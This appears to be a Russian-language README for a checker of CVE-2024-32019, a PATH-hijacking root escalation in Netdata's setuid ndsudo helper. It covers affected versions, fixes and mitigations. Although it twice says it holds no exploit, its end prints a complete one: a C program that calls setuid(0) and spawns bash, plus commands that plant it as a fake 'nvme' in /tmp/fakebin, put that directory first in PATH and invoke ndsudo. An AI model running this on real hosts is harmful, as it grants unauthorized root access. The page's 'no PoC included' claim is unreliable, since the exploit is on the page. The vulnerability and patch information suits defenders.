
Невооруженный PoC и чекер для CVE-2024-32019 — локального повышения привилегий в помощнике ndsudo от Netdata. Оцените подверженность, проверьте обновления и поймите вектор эксплуатации, основанный на PATH.
ndsudo в NetdataВспомогательная программа ndsudo Netdata (устанавливается с флагом setuid root) ограничивает список выполняемых команд, но разрешает эти команды, используя PATH вызывающего пользователя. В уязвимых версиях локальный пользователь может поместить вредоносный бинарный файл раньше в PATH, и ndsudo выполнит его с привилегиями root. Исправлено в Netdata 1.45.3 и 1.45.0-169.
Затронуты: >= 1.44.0-60, < 1.45.0-169 и >= 1.45.0, < 1.45.3 (согласно рекомендации разработчика).
Исправлено: 1.45.3 (стабильная), 1.45.0-169 (ночная сборка). GitHub
Локальное повышение привилегий до root в системах, где ndsudo установлен с SUID, и пользователь может его вызывать (обычно члены группы netdata). NVDGitHub
ndsudo установлен с SUID-root и проверяет по белому списку подкоманды, такие как nvme-list, nvme-smart-log и т.д.
Он вызывает внешние исполняемые файлы по имени (например, nvme), которые разрешаются через PATH вместо использования абсолютных путей или безопасного фиксированного поиска.
Если доступный для записи каталог появляется раньше системных путей, злоумышленник может внедрить поддельный бинарник, который будет выполнен от имени root. GitHub
Этот репозиторий включает проверяющие скрипты (не эксплойты), которые:
Проверяют /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (или в любом другом месте установки) на SUID/права владельца.
Перечисляют каталоги в PATH, доступные для записи, которые находятся раньше стандартных системных путей.
Подтверждают наличие имен подкоманд из белого списка, которые ndsudo может попытаться выполнить.
Опционально запускают ndsudo --test <subcommand> для вывода разрешенной команды без её выполнения (используйте с осторожностью, сначала прочтите код). GitHub
⚠️ Вредоносный PoC не включен. Этот проект предназначен для защитников и исследователей, чтобы оценить степень уязвимости и ответственно проверить исправления.
Обновите Netdata до версии 1.45.3 (стабильная) или 1.45.0-169 (ночная сборка).
В качестве меры многоуровневой защиты используйте абсолютные пути или санированный минимальный PATH во вспомогательных программах с SUID; избегайте предоставления ненужного доступа к ndsudo. GitHubwiz.io
nvme.c:#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
return 0;
}
gcc nvme.c - nvme
mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme
PATHexport PATH=/tmp/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
NVD: CVE-2024-32019. NVD
Рекомендация Netdata (GHSA-pmhq-4cxq-wj93). GitHub
Сводка от Wiz. wiz.io
Статья от Snyk. Vulnerability Guide
Запись MITRE/CVE. CVE